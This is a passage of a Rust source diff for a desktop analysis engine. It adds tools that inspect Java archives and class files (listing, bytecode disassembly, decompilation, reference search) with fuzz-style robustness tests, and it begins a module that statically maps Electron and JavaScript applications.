u64; + match java_class::parse(&b) { + Ok(cf) => { + warnings.extend(cf.warnings.iter().map(|w| format!("{}: {w}", e.name))); + out.push((e.name.clone(), cf)); + } + Err(err) => warnings.push(format!("{}: {err}", e.name)), + } + } + Err(err) => warnings.push(format!("{}: {err}", e.name)), + } + } + Ok((out, warnings)) + } + + /// Find and parse one class by name (dotted, internal or descriptor form). + fn resolve_class(&self, query: Option<&str>) -> Result<(String, ClassFile), ToolError> { + if let Some((name, bytes)) = &self.single { + let cf = java_class::parse(bytes).map_err(|e| ToolError::new(ErrorCode::NotSupported, format!("Couldn't read {name} as a Java class: {e}")))?; + return Ok((name.clone(), cf)); + } + let q = query.ok_or_else(|| { + ToolError::invalid("class_name is required for an archive").with_remediation("Pass class_name; list classes with java_classes_find.") + })?; + let want = normalize_internal(q); + let path = format!("{want}.class"); + let simple = want.rsplit('/').next().unwrap_or(&want).to_string(); + let Some(z) = self.zip.as_ref() else { return Err(ToolError::internal("no archive")) }; + let entry = z + .entries + .iter() + .find(|e| e.name == path) + .or_else(|| z.entries.iter().find(|e| is_class_entry(&e.name) && e.name.trim_end_matches(".class").rsplit('/').next() == Some(simple.as_str()))) + .ok_or_else(|| class_not_found(self, q))?; + let bytes = self.read_entry(&entry.clone()).map_err(|e| ToolError::new(ErrorCode::NotSupported, format!("{}: {e}", entry.name)))?; + let cf = + java_class::parse(&bytes).map_err(|e| ToolError::new(ErrorCode::NotSupported, format!("Couldn't read {} as a Java class: {e}", entry.name)))?; + Ok((entry.name.clone(), cf)) + } +} + +/// `com.example.Foo`, `Lcom/example/Foo;` or `com/example/Foo` → `com/example/Foo`. +fn normalize_internal(name: &str) -> String { + let n = name.trim(); + let n = n.strip_prefix('L').map(|s| s.strip_suffix(';').unwrap_or(s)).unwrap_or(n); + n.replace('.', "/") +} + +fn class_not_found(src: &Source, name: &str) -> ToolError { + let simple = name.rsplit(['.', '/']).next().unwrap_or(name).trim_end_matches(';').to_ascii_lowercase(); + let mut similar = Vec::new(); + if let Some(z) = src.zip.as_ref() { + for e in z.entries.iter().filter(|e| is_class_entry(&e.name)) { + let dotted = e.name.trim_end_matches(".class").replace('/', "."); + if !simple.is_empty() && dotted.to_ascii_lowercase().contains(&simple) && similar.len() < 10 { + similar.push(dotted); + } + } + } + ToolError::invalid(format!("No class {name} is defined in this archive")) + .with_remediation("Find the exact name with java_classes_find (classes from the JRE are not inside the archive).") + .with_details(json!({"reason": "class_not_found", "similar": similar})) +} + +fn warn_lims(warnings: &[String]) -> Vec { + warnings.iter().take(50).map(|w| Limitation::new("parse_warning", w.clone())).collect() +} + +fn ev(ctx: &Ctx<'_>, op: &str, src: &Source, params: Value) -> EvidenceBuilder { + builder(ctx, op, src.input.subject.clone(), params) + .authority(Authority::OriginalFiles) + .location(Location::new("path", src.input.path.display().to_string())) +} + +// --------------------------------------------------------------------------------------------- +// java_archive_show + +fn parse_manifest(bytes: &[u8]) -> BTreeMap { + let text = String::from_utf8_lossy(bytes); + let mut map: BTreeMap = BTreeMap::new(); + let mut last_key: Option = None; + for line in text.lines() { + if line.is_empty() { + break; // only the main section + } + if let Some(rest) = line.strip_prefix(' ') { + // continuation of the previous value + if let Some(k) = &last_key + && let Some(v) = map.get_mut(k) + { + v.push_str(rest); + } + } else if let Some((k, v)) = line.split_once(": ") { + map.insert(k.trim().to_string(), v.trim().to_string()); + last_key = Some(k.trim().to_string()); + } + } + map +} + +fn java_archive_show(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: ArchiveParams = parse_params(params)?; + let src = load(ctx, p.path.as_deref())?; + let Some(z) = src.zip.as_ref() else { + return Err(ToolError::unsupported(format!("{} is a single .class, not a JAR/WAR", src.input.name)) + .with_remediation("Use java_class_show or java_method_show for a bare .class.")); + }; + let manifest = src.member("META-INF/MANIFEST.MF").map(|b| parse_manifest(&b)).unwrap_or_default(); + // Classify entries. + let mut packages: BTreeMap = BTreeMap::new(); + let mut class_count = 0usize; + let mut versions: BTreeMap = BTreeMap::new(); + let mut nested_jars = Vec::new(); + let mut native_libs = Vec::new(); + let mut resources = 0usize; + // Sample class-file versions from up to a few hundred classes (cheap: read the 8-byte header). + let mut sampled = 0usize; + for e in z.entries.iter().filter(|e| !e.is_dir) { + if is_class_entry(&e.name) { + class_count += 1; + let pkg = e.name.trim_end_matches(".class").rsplit_once('/').map(|(p, _)| p.replace('/', ".")).unwrap_or_default(); + *packages.entry(if pkg.is_empty() { "(default)".into() } else { pkg }).or_default() += 1; + if sampled < 512 + && let Ok(b) = self_header(&src, e) + && let Some(major) = craft_anything_formats::bytes::Reader::new(&b).u16_be(6) + { + *versions.entry(java_class::Version { major, minor: 0 }.java_label()).or_default() += 1; + sampled += 1; + } + } else if e.name.ends_with(".jar") { + nested_jars.push(json!({"name": e.name, "bytes": e.uncompressed_size})); + } else if e.name.ends_with(".so") || e.name.ends_with(".dll") || e.name.ends_with(".dylib") || e.name.ends_with(".jnilib") { + native_libs.push(json!({"name": e.name, "bytes": e.uncompressed_size})); + } else { + resources += 1; + } + } + let main_class = manifest.get("Main-Class").cloned(); + let class_path: Vec = manifest.get("Class-Path").map(|c| c.split_whitespace().map(str::to_string).collect()).unwrap_or_default(); + let kind = if src.input.name.to_ascii_lowercase().ends_with(".war") { "WAR" } else { "JAR" }; + let summary = format!( + "{} ({kind}): {} classes in {} package(s), main class {}, {} nested jar(s), {} native lib(s), {} resource(s).", + src.input.name, + class_count, + packages.len(), + main_class.as_deref().unwrap_or("(none declared)"), + nested_jars.len(), + native_libs.len(), + resources, + ); + let pkg_rows: Vec = packages.iter().map(|(k, v)| json!({"package": k, "classes": v})).collect(); + let b = ev(ctx, "java_archive_show", &src, json!({"path": p.path})) + .result(json!({ + "kind": kind, + "manifest": manifest, + "main_class": main_class, + "class_path": class_path, + "classes_total": class_count, + "packages": pkg_rows, + "class_file_versions": versions, + "nested_jars": nested_jars, + "native_libraries": native_libs, + "resources": resources, + "entries": z.entries.len(), + })) + .summary(summary) + .confidence(Confidence::Observed) + .coverage(Coverage::complete(z.entries.len() as u64)) + .limitation(Limitation::new( + "dependencies_from_manifest", + "Dependencies are taken from the manifest Class-Path and bundled jars/native libraries; dependencies resolved at run time (module path, classloaders, reflection) are not listed.", + )); + Ok(ToolOutput::evidence(b.build()?)) +} + +/// Read just the first 8 bytes of a class entry (magic + version) without decompressing it all. +fn self_header(src: &Source, e: &zip::ZipEntry) -> Result, String> { + // Stored entries can be read cheaply; deflated ones need decompression, so cap the read. + src.read_entry(e).map(|mut b| { + b.truncate(8); + b + }) +} + +// --------------------------------------------------------------------------------------------- +// java_classes_find + +fn inspect_access(flags: u16) -> Vec<&'static str> { + java_class::access_flags(flags, java_class::AccessKind::Class) +} + +fn java_classes_find(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: SearchParams = parse_params(params)?; + let src = load(ctx, p.path.as_deref())?; + let (classes, warnings) = src.parse_all(ctx)?; + let q = p.query.trim().to_ascii_lowercase(); + let mut rows = Vec::new(); + for (entry, cf) in &classes { + let dotted = cf.name_dotted(); + let methods: Vec = if p.include_methods { + cf.methods + .iter() + .filter(|m| q.is_empty() || m.name.to_ascii_lowercase().contains(&q)) + .take(5000) + .map(|m| json!({"name": m.name, "signature": cf.method_signature(m)})) + .collect() + } else { + Vec::new() + }; + let class_hit = q.is_empty() || dotted.to_ascii_lowercase().contains(&q); + if !class_hit && methods.is_empty() { + continue; + } + rows.push(json!({ + "name": dotted, + "internal": cf.this_class, + "entry": entry, + "access": inspect_access(cf.access), + "superclass": cf.super_class.as_ref().map(|s| java_class::internal_to_dotted(s)), + "interfaces": cf.interfaces.iter().map(|i| java_class::internal_to_dotted(i)).collect::>(), + "fields": cf.fields.len(), + "methods": cf.methods.len(), + "matched_methods": methods, + })); + } + rows.sort_by(|a, b| a["name"].as_str().unwrap_or("").cmp(b["name"].as_str().unwrap_or(""))); + let (slice, cov) = page(&rows, p.offset, p.limit); + let summary = format!( + "{} of {} classes{} ; showing {}.", + rows.len(), + classes.len(), + if q.is_empty() { String::new() } else { format!(" match \"{}\"", p.query.trim()) }, + slice.len() + ); + let b = ev( + ctx, + "java_classes_find", + &src, + json!({"path": p.path, "query": p.query, "include_methods": p.include_methods, "offset": p.offset, "limit": p.limit}), + ) + .result(json!({"query": p.query, "matches": rows.len(), "classes_total": classes.len(), "classes": slice})) + .summary(summary) + .confidence(Confidence::Observed) + .limitations(warn_lims(&warnings)) + .coverage(cov); + Ok(ToolOutput::evidence(b.build()?)) +} + +// --------------------------------------------------------------------------------------------- +// java_class_show + +fn field_json(f: &java_class::Member) -> Value { + json!({ + "name": f.name, + "type": java_class::field_type(&f.descriptor), + "descriptor": f.descriptor, + "access": java_class::access_flags(f.access, java_class::AccessKind::Field), + "constant_value": f.constant_value, + "signature": f.signature, + "deprecated": f.deprecated, + }) +} + +fn method_json(cf: &ClassFile, m: &java_class::Member) -> Value { + let code = m.code.as_ref(); + json!({ + "name": m.name, + "descriptor": m.descriptor, + "signature": cf.method_signature(m), + "access": java_class::access_flags(m.access, java_class::AccessKind::Method), + "throws": m.exceptions, + "signature_attr": m.signature, + "deprecated": m.deprecated, + "code_bytes": code.map(|c| c.bytecode.len()), + "max_stack": code.map(|c| c.max_stack), + "max_locals": code.map(|c| c.max_locals), + "try_blocks": code.map(|c| c.exceptions.len()), + }) +} + +fn java_class_show(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: ClassParams = parse_params(params)?; + let src = load(ctx, p.path.as_deref())?; + let (entry, cf) = src.resolve_class(p.class_name.as_deref())?; + let fields: Vec = cf.fields.iter().map(field_json).collect(); + let methods: Vec = cf.methods.iter().map(|m| method_json(&cf, m)).collect(); + let mut lims = warn_lims(&cf.warnings); + let decompiled = if p.decompile { + let d = java_decompile::decompile_class(&cf); + lims.extend(d.limitations); + Some(d.source) + } else { + None + }; + let summary = format!( + "{} ({}) {}: {} fields, {} methods{}.", + cf.name_dotted(), + cf.version.java_label(), + match &cf.super_class { + Some(s) if s != "java/lang/Object" => format!("extends {}", java_class::internal_to_dotted(s)), + _ => "extends Object".to_string(), + }, + fields.len(), + methods.len(), + cf.source_file.as_deref().map(|s| format!(", from {s}")).unwrap_or_default() + ); + let b = ev(ctx, "java_class_show", &src, json!({"path": p.path, "class_name": p.class_name, "decompile": p.decompile})) + .result(json!({ + "name": cf.name_dotted(), + "internal": cf.this_class, + "entry": entry, + "version": cf.version, + "java_version": cf.version.java_label(), + "access": inspect_access(cf.access), + "superclass": cf.super_class.as_ref().map(|s| java_class::internal_to_dotted(s)), + "interfaces": cf.interfaces.iter().map(|i| java_class::internal_to_dotted(i)).collect::>(), + "source_file": cf.source_file, + "signature": cf.signature, + "annotations": cf.annotations, + "inner_classes": cf.inner_classes, + "fields": fields, + "methods": methods, + "pseudo_java": decompiled, + })) + .summary(summary) + .confidence(if p.decompile { Confidence::Inferred } else { Confidence::Observed }) + .limitations(lims) + .coverage(Coverage::complete(1)) + .location(Location::new("class", cf.this_class.clone())); + Ok(ToolOutput::evidence(b.build()?)) +} + +// --------------------------------------------------------------------------------------------- +// java_method_show + +#[derive(Serialize)] +struct InsnRow { + offset: String, + text: String, + opcode: String, + len: u32, +} + +fn java_method_show(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: MethodParams = parse_params(params)?; + let src = load(ctx, p.path.as_deref())?; + let (entry, cf) = src.resolve_class(p.class_name.as_deref())?; + let overloads: Vec<&java_class::Member> = cf.methods.iter().filter(|m| m.name == p.method_name).collect(); + if overloads.is_empty() { + let names: Vec = cf.methods.iter().take(400).map(|m| m.name.clone()).collect(); + return Err(ToolError::invalid(format!("{} has no method named {}", cf.name_dotted(), p.method_name)) + .with_remediation("List the class's methods with java_class_show.") + .with_details(json!({"reason": "method_not_found", "methods": names}))); + } + let m = match &p.descriptor { + Some(d) => *overloads.iter().find(|m| &m.descriptor == d).ok_or_else(|| { + ToolError::invalid(format!("{} has no overload with descriptor {d}", p.method_name)) + .with_details(json!({"overloads": overloads.iter().map(|m| m.descriptor.clone()).collect::>()})) + })?, + None => overloads[0], + }; + let mut lims = warn_lims(&cf.warnings); + if overloads.len() > 1 && p.descriptor.is_none() { + lims.push(Limitation::new( + "overload_chosen", + format!("{} has {} overloads; showing the first. Pass descriptor to pick another.", p.method_name, overloads.len()), + )); + } + let code = m.code.as_ref(); + let (rows, complete) = match code { + Some(c) => { + let (insns, complete) = java_ops::decode(&c.bytecode, 200_000); + let rows: Vec = insns + .iter() + .map(|i| InsnRow { offset: format!("{:04x}", i.pc), text: cf.format_insn(i), opcode: format!("{:#04x}", i.opcode), len: i.len }) + .collect(); + if !complete { + lims.push(Limitation::new("listing_incomplete", "Decoding stopped at an instruction that runs past the end of the code.")); + } + (rows, complete) + } + None => { + lims.push(Limitation::new( + "no_code", + if m.access & 0x0100 != 0 { + "This method is native: its code is not in the class file." + } else if m.access & 0x0400 != 0 { + "This method is abstract: it has no body." + } else { + "This method has no Code attribute." + }, + )); + (Vec::new(), true) + } + }; + let (slice, cov) = page(&rows, p.offset, p.limit); + let listing: String = + slice.iter().filter_map(|r| Some(format!("{}: {}", r.get("offset")?.as_str()?, r.get("text")?.as_str()?))).collect::>().join("\n"); + let exceptions: Vec = code + .map(|c| { + c.exceptions + .iter() + .map(|x| json!({"start_pc": x.start_pc, "end_pc": x.end_pc, "handler_pc": x.handler_pc, "catch_type": x.catch_type.as_ref().map(|t| java_class::internal_to_dotted(t))})) + .collect() + }) + .unwrap_or_default(); + let pseudo = if p.decompile { + let d = java_decompile::decompile_method(&cf, m); + lims.extend(d.limitations); + json!({"signature": d.signature, "code": format!("{} {}", d.signature, d.body), "confidence": "inferred", "fully_structured": d.fully_structured}) + } else { + Value::Null + }; + let summary = format!( + "{}.{}{} ({}): {} instructions{}{}.", + cf.name_dotted(), + m.name, + m.descriptor, + entry, + rows.len(), + if exceptions.is_empty() { String::new() } else { format!(", {} try block(s)", exceptions.len()) }, + if complete { "" } else { " (incomplete)" } + ); + let reference = format!("{}.{}{}", cf.name_dotted(), m.name, m.descriptor); + let b = ev(ctx, "java_method_show", &src, json!({"path": p.path, "class_name": p.class_name, "method_name": p.method_name, "descriptor": p.descriptor, "decompile": p.decompile, "offset": p.offset, "limit": p.limit})) + .result(json!({ + "class": cf.name_dotted(), + "entry": entry, + "method": reference, + "signature": cf.method_signature(m), + "descriptor": m.descriptor, + "access": java_class::access_flags(m.access, java_class::AccessKind::Method), + "throws": m.exceptions, + "overloads": overloads.iter().map(|m| m.descriptor.clone()).collect::>(), + "max_stack": code.map(|c| c.max_stack), + "max_locals": code.map(|c| c.max_locals), + "exception_table": exceptions, + "instructions_total": rows.len(), + "instructions": slice, + "listing": listing, + "pseudo_java": pseudo, + })) + .summary(summary) + .confidence(if p.decompile { Confidence::Inferred } else { Confidence::Observed }) + .limitations(lims) + .coverage(cov) + .location(Location::new("method", reference.clone())); + Ok(ToolOutput::evidence(b.build()?)) +} + +// --------------------------------------------------------------------------------------------- +// java_class_users_find + +fn java_class_users_find(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: ReferencesParams = parse_params(params)?; + let src = load(ctx, p.path.as_deref())?; + let (classes, warnings) = src.parse_all(ctx)?; + let owner = normalize_internal(&p.class_name); + const MAX_REFS: usize = 100_000; + let mut rows = Vec::new(); + let mut truncated = false; + let mut callers: std::collections::BTreeSet = std::collections::BTreeSet::new(); + let mut defined_in = None; + for (entry, cf) in &classes { + ctx.cancel.check()?; + if cf.this_class == owner { + defined_in = Some(entry.clone()); + } + let (refs, more) = java_class::references(cf, &owner, p.method_name.as_deref(), MAX_REFS.saturating_sub(rows.len())); + truncated |= more; + for r in refs { + callers.insert(r.caller.clone()); + rows.push(json!({"entry": entry, "caller": r.caller, "offset": format!("{:04x}", r.pc), "instruction": r.instruction, "kind": r.kind, "target": r.target})); + } + } + let (slice, mut cov) = page(&rows, p.offset, p.limit); + let what = match &p.method_name { + Some(m) => format!("{}.{m}", java_class::internal_to_dotted(&owner)), + None => java_class::internal_to_dotted(&owner), + }; + let summary = format!( + "{} reference(s) to {what} from {} method(s) across {} class(es){}.", + rows.len(), + callers.len(), + classes.len(), + match &defined_in { + Some(d) => format!("; defined in {d}"), + None => "; not defined in this archive (JRE or external library class)".into(), + } + ); + let mut lims = warn_lims(&warnings); + lims.push(Limitation::new( + "static_references_only", + "Only direct bytecode references are found; reflection, invokedynamic bootstrap targets, service loaders and names built at run time are not.", + )); + if truncated { + lims.push(Limitation::new("truncated", format!("stopped after {MAX_REFS} references"))); + cov.status = CoverageStatus::Partial; + } + let b = ev(ctx, "java_class_users_find", &src, json!({"path": p.path, "class_name": p.class_name, "method_name": p.method_name, "offset": p.offset, "limit": p.limit})) + .result(json!({"class": owner, "method_name": p.method_name, "defined_in": defined_in, "references_total": rows.len(), "callers": callers.len(), "references": slice})) + .summary(summary) + .confidence(Confidence::Observed) + .limitations(lims) + .coverage(cov) + .location(Location::new("class", owner.clone())); + Ok(ToolOutput::evidence(b.build()?)) +} + +#[cfg(test)] +mod tests { + use super::super::native_common::test_support::{call, call_err}; + use crate::Engine; + use craft_anything_testkit::java as fx; + use serde_json::json; + + fn jar() -> String { + craft_anything_testkit::temp_file("notes.jar", &fx::notes_jar()).to_string_lossy().into_owned() + } + fn class_file() -> String { + craft_anything_testkit::temp_file("Hello.class", &fx::hello_class()).to_string_lossy().into_owned() + } + + #[test] + fn archive_overview() { + let e = Engine::new(crate::testing::session()); + let v = call(&e, "java_archive_show", json!({"path": jar()})); + let r = &v["result"]; + assert_eq!(r["main_class"], "com.example.Hello"); + assert_eq!(r["classes_total"], 2); + assert!(r["packages"].as_array().unwrap().iter().any(|p| p["package"] == "com.example")); + assert!(v["summary"].as_str().unwrap().contains("main class com.example.Hello"), "{}", v["summary"]); + } + + #[test] + fn search_and_class_and_method() { + let e = Engine::new(crate::testing::session()); + let path = jar(); + let s = call(&e, "java_classes_find", json!({"path": path, "query": "hello"})); + assert_eq!(s["result"]["matches"], 1); + let c = call(&e, "java_class_show", json!({"path": path, "class_name": "com.example.Hello"})); + assert_eq!(c["result"]["interfaces"][0], "java.lang.Runnable"); + assert_eq!(c["result"]["java_version"], "Java 8"); + assert!(c["result"]["methods"].as_array().unwrap().iter().any(|m| m["name"] == "run")); + assert!(c["result"]["fields"].as_array().unwrap().iter().any(|f| f["name"] == "BIG" && f["constant_value"].is_string())); + + let m = call(&e, "java_method_show", json!({"path": path, "class_name": "com.example.Hello", "method_name": "run"})); + assert!(m["result"]["listing"].as_str().unwrap().contains("invokevirtual java.io.PrintStream.println"), "{}", m["result"]["listing"]); + assert!(m["result"]["pseudo_java"]["code"].as_str().unwrap().contains("System.out.println(\"Hello, Craft!\");"), "{}", m["result"]["pseudo_java"]); + assert_eq!(v_conf(&m), "inferred"); + + // overload selection by descriptor + a method with a switch + let pick = call(&e, "java_method_show", json!({"path": path, "class_name": "com.example.Hello", "method_name": "pick"})); + assert!(pick["result"]["pseudo_java"]["code"].as_str().unwrap().contains("switch"), "{}", pick["result"]["pseudo_java"]); + } + + fn v_conf(v: &serde_json::Value) -> String { + v["confidence"].as_str().unwrap_or_default().to_string() + } + + #[test] + fn references_cross_class() { + let e = Engine::new(crate::testing::session()); + let path = jar(); + let r = call(&e, "java_class_users_find", json!({"path": path, "class_name": "com.example.Hello", "method_name": "run"})); + assert_eq!(r["result"]["references_total"], 1, "{}", r["result"]); + assert_eq!(r["result"]["references"][0]["caller"], "com.example.Helper.go:()V"); + assert_eq!(r["result"]["defined_in"], "com/example/Hello.class"); + } + + #[test] + fn bare_class_file_works() { + let e = Engine::new(crate::testing::session()); + let path = class_file(); + let c = call(&e, "java_class_show", json!({"path": path, "decompile": true})); + assert_eq!(c["result"]["name"], "com.example.Hello"); + assert!(c["result"]["pseudo_java"].as_str().unwrap().contains("class com.example.Hello"), "{}", c["result"]["pseudo_java"]); + // archive tool rejects a bare class + let err = call_err(&e, "java_archive_show", json!({"path": path})); + assert_eq!(err.code, craft_anything_evidence::ErrorCode::NotSupported); + } + + #[test] + fn hostile_inputs_do_not_panic() { + let e = Engine::new(crate::testing::session()); + let jar_bytes = fx::notes_jar(); + for (i, m) in craft_anything_testkit::mutations(&jar_bytes).into_iter().enumerate().step_by(3) { + let p = craft_anything_testkit::temp_file(&format!("m{i}.jar"), &m); + for (tool, params) in [ + ("java_archive_show", json!({"path": p})), + ("java_classes_find", json!({"path": p, "include_methods": true})), + ("java_class_show", json!({"path": p, "class_name": "com.example.Hello"})), + ("java_method_show", json!({"path": p, "class_name": "com.example.Hello", "method_name": "run"})), + ("java_class_users_find", json!({"path": p, "class_name": "com.example.Hello"})), + ] { + let _ = e.call(tool, params, crate::CallOptions::new(crate::Caller::Mcp)); + } + } + // hostile bare class files + let cls = fx::hello_class(); + for m in craft_anything_testkit::mutations(&cls).into_iter().step_by(2) { + let p = craft_anything_testkit::temp_file("m.class", &m); + let _ = e.call("java_class_show", json!({"path": p, "decompile": true}), crate::CallOptions::new(crate::Caller::Mcp)); + } + } +} diff --git a/desktop/crates/engine/src/tools/js_tools.rs b/desktop/crates/engine/src/tools/js_tools.rs new file mode 100644 index 0000000..e42334d --- /dev/null +++ b/desktop/crates/engine/src/tools/js_tools.rs @@ -0,0 +1,706 @@ +//! JavaScript applications: static analysis of Electron apps (ASAR or unpacked), web bundles and +//! Node packages into an application graph, and reconciling that graph with runtime captures. + +use super::artifact_tools::{WalkOptions, abs_path, env, is_path_input, read_capped, resolve_evidence_input, walk_dir}; +use crate::tool::{Ctx, Effects, Requires, ToolOutput, ToolSpec, Toolset, parse_params, schema_of}; +use craft_anything_analysis::js_app::{AppFile, AppGraph, AppInput, AppOptions, analyze_application, is_script}; +use craft_anything_analysis::js_trace::{RuntimeScript, reconcile, runtime_scripts_from}; +use craft_anything_evidence::{Confidence, Coverage, ErrorCode, EvidenceBuilder, Limitation, Location, Subject, ToolError, sha256_hex}; +use craft_anything_formats::{asar, zip}; +use schemars::JsonSchema; +use serde::Deserialize; +use serde_json::{Value, json}; +use std::path::{Path, PathBuf}; + +pub fn specs() -> Vec { + vec![ + ToolSpec { + id: "js_app_map", + title: "Analyse a JavaScript app", + summary: "Static analysis of an Electron app (app.asar or unpacked folder), a web bundle folder, a ZIP or a single script into an application graph: package and entry points (main, preload, renderer), BrowserWindow webPreferences, the IPC channel map (ipcMain.handle/on ↔ ipcRenderer.invoke/send, contextBridge members), module imports, bundler and chunk splitting (webpack, esbuild, browserify; Vite/Rollup detected), routes, HTTP endpoints, storage, platform effects, native modules, vendors and source maps. Built-in parser; nothing is executed.", + beginner: "Look inside a desktop app built with web technology (Electron) or a website's code, and map how its pieces talk to each other.", + toolset: Toolset::Javascript, + effects: Effects::EVIDENCE, + requires: Requires::Nothing, + input_schema: schema_of::, + run: js_app_map, + }, + ToolSpec { + id: "js_runtime_code_match", + title: "Match static code to what ran", + summary: "Match app graph evidence against what was seen running (captured scripts with URLs and sha256): each static module is loaded, resident in a loaded bundle, loaded with different content, not observed, or unknown; runtime-only scripts are listed. Pure computation over evidence.", + beginner: "Check which parts of an app's code actually ran in a recording.", + toolset: Toolset::Javascript, + effects: Effects::EVIDENCE, + requires: Requires::Nothing, + input_schema: schema_of::, + run: js_runtime_code_match, + }, + ] +} + +#[derive(Debug, Clone, Copy, Default, PartialEq, Eq, Deserialize, JsonSchema)] +#[serde(rename_all = "kebab-case")] +pub enum InputFormat { + /// Detect from the path: folder, ASAR, ZIP or single file. + #[default] + Auto, + Asar, + Directory, + Zip, + File, +} + +#[derive(Debug, Clone, Copy, Default, PartialEq, Eq, Deserialize, JsonSchema)] +#[serde(rename_all = "kebab-case")] +pub enum IntegrityPolicy { + /// Stop when an ASAR integrity hash does not match its file. + #[default] + Fail, + /// Record the mismatch as a limitation and continue. + Continue, +} + +#[derive(Debug, Clone, Deserialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct AnalyzeParams { + /// Absolute path of an app.asar, an unpacked Electron app or web bundle folder, a ZIP, or one .js/.html file. + pub input_path: String, + #[serde(default)] + pub format: InputFormat, + #[serde(default)] + pub if_tampered: IntegrityPolicy, + /// Extra absolute files or folders to include (for example an `app.asar.unpacked` folder kept elsewhere). + #[serde(default)] + pub source_paths: Vec, + /// Also parse code under node_modules (off: only their package.json files are read, as vendor facts). + #[serde(default)] + pub include_node_modules: bool, + /// Most files read. + #[serde(default = "default_max_files")] + pub max_files: usize, + /// Largest single file read. + #[serde(default = "default_max_file_bytes")] + pub max_file_bytes: u64, + /// Most bytes read in total. + #[serde(default = "default_max_total_bytes")] + pub max_total_bytes: u64, + /// Most graph nodes kept. + #[serde(default = "default_max_nodes")] + pub max_nodes: usize, + /// First module of the module page in the result. + #[serde(default)] + pub offset: usize, + /// Modules per page in the result (the graph itself is always complete up to max_nodes). + #[serde(default = "default_module_limit")] + pub limit: usize, +} + +fn default_max_files() -> usize { + 20_000 +} +fn default_max_file_bytes() -> u64 { + 32 * 1024 * 1024 +} +fn default_max_total_bytes() -> u64 { + 512 * 1024 * 1024 +} +fn default_max_nodes() -> usize { + 25_000 +} +fn default_module_limit() -> usize { + 500 +} + +impl AnalyzeParams { + pub(crate) fn for_path(p: &str) -> Self { + AnalyzeParams { + input_path: p.into(), + format: InputFormat::Auto, + if_tampered: IntegrityPolicy::Continue, + source_paths: Vec::new(), + include_node_modules: false, + max_files: default_max_files(), + max_file_bytes: default_max_file_bytes(), + max_total_bytes: default_max_total_bytes(), + max_nodes: default_max_nodes(), + offset: 0, + limit: default_module_limit(), + } + } +} + +/// Which files we read bytes for (everything else is listed only). +fn wanted(path: &str, include_node_modules: bool) -> bool { + let l = path.to_ascii_lowercase(); + if l.contains("node_modules/") { + if include_node_modules { + return is_script(&l) || l.ends_with("package.json"); + } + // node_modules//package.json or node_modules/@scope//package.json only. + let after = l.rsplit("node_modules/").next().unwrap_or(""); + let depth = after.matches('/').count(); + return l.ends_with("/package.json") && (depth == 1 || (after.starts_with('@') && depth == 2)); + } + is_script(&l) || l.ends_with(".html") || l.ends_with(".htm") || l.ends_with(".json") || l.ends_with(".map") +} + +struct Budget { + files: usize, + bytes: u64, + max_files: usize, + max_bytes: u64, + max_file: u64, + skipped: usize, +} + +impl Budget { + fn admit(&mut self, size: u64) -> bool { + if self.files >= self.max_files || size > self.max_file || self.bytes.saturating_add(size) > self.max_bytes { + self.skipped += 1; + return false; + } + self.files += 1; + self.bytes += size; + true + } +} + +/// Read an input into files for the analyser. Returns the input, its subject, integrity problems +/// and the folders that couldn't be listed, as (path, reason). +#[allow(clippy::type_complexity)] +pub(crate) fn load_app_input(ctx: &Ctx<'_>, p: &AnalyzeParams) -> Result<(AppInput, Subject, Vec, Vec<(String, String)>), ToolError> { + let path = abs_path(&p.input_path, "input_path")?; + let meta = std::fs::metadata(&path).map_err(|e| ToolError::io(path.display(), e))?; + let label = path.file_name().map(|n| n.to_string_lossy().into_owned()).unwrap_or_else(|| path.display().to_string()); + let mut budget = Budget { files: 0, bytes: 0, max_files: p.max_files.max(1), max_bytes: p.max_total_bytes, max_file: p.max_file_bytes, skipped: 0 }; + let mut input = AppInput { label: label.clone(), ..Default::default() }; + let mut integrity = Vec::new(); + let mut unlisted = Vec::new(); + let format = match p.format { + InputFormat::Auto if meta.is_dir() => InputFormat::Directory, + InputFormat::Auto => { + let head = read_head(&path)?; + if asar::looks_like_asar(&head) { + InputFormat::Asar + } else if zip::looks_like_zip(&head) { + InputFormat::Zip + } else { + InputFormat::File + } + } + f => f, + }; + let subject; + match format { + InputFormat::Directory => { + input.format = "directory".into(); + let include = p.include_node_modules; + let skip = move |rel: &str| !include && rel.ends_with("node_modules") && rel.matches("node_modules").count() > 1; + let walked = walk_dir( + &path, + &WalkOptions { max_files: p.max_files.saturating_mul(4).max(1000), max_depth: 48, skip_dir: &skip, gitignore: false, include_hidden: false }, + &ctx.cancel, + )?; + if walked.truncated { + input.notes.push("the folder listing was cut short by the file-count or depth limit".into()); + } + unlisted.extend(walked.unlisted.iter().cloned()); + // A packaged app folder: analyse its app.asar when there is no package.json of its own. + let has_pkg = walked.files.iter().any(|f| f.rel == "package.json" || (f.rel.ends_with("/package.json") && !f.rel.contains("node_modules/"))); + let asars: Vec<&super::artifact_tools::WalkedFile> = walked.files.iter().filter(|f| f.rel.ends_with("app.asar")).collect(); + if !has_pkg + && asars.len() == 1 + && let Some(a) = asars.first() + { + let mut q = p.clone(); + q.input_path = a.abs.display().to_string(); + q.format = InputFormat::Asar; + let (mut inp, subj, integ, mut gaps) = load_app_input(ctx, &q)?; + inp.notes.push(format!("analysed {} found inside the folder", a.rel)); + unlisted.append(&mut gaps); + return Ok((inp, subj, integ, unlisted)); + } + let mut listing_hash = Vec::new(); + for f in &walked.files { + ctx.cancel.check()?; + input.listing.push((f.rel.clone(), f.size)); + listing_hash.push(json!([f.rel, f.size])); + if wanted(&f.rel, p.include_node_modules) && budget.admit(f.size) { + match std::fs::read(&f.abs) { + Ok(b) => input.files.push(AppFile { path: f.rel.clone(), bytes: b }), + Err(e) => input.notes.push(format!("{}: {e}", f.rel)), + } + } + } + let digest = sha256_hex( + craft_anything_evidence::canonical_json(&json!(input.files.iter().map(|f| (&f.path, sha256_hex(&f.bytes))).collect::>())).as_bytes(), + ); + subject = Subject { kind: "js-app".into(), sha256: Some(digest), name: Some(label) }; + } + InputFormat::Asar => { + input.format = "asar".into(); + let bytes = read_capped(&path, crate::target::MAX_TARGET_BYTES)?; + let a = asar::parse(&bytes, p.max_files.saturating_mul(4).max(1000)) + .map_err(|e| ToolError::new(ErrorCode::GarbledOutput, format!("{}: {e}", path.display())))?; + if a.truncated { + input.notes.push("the ASAR listing was cut short by the file-count limit".into()); + } + for 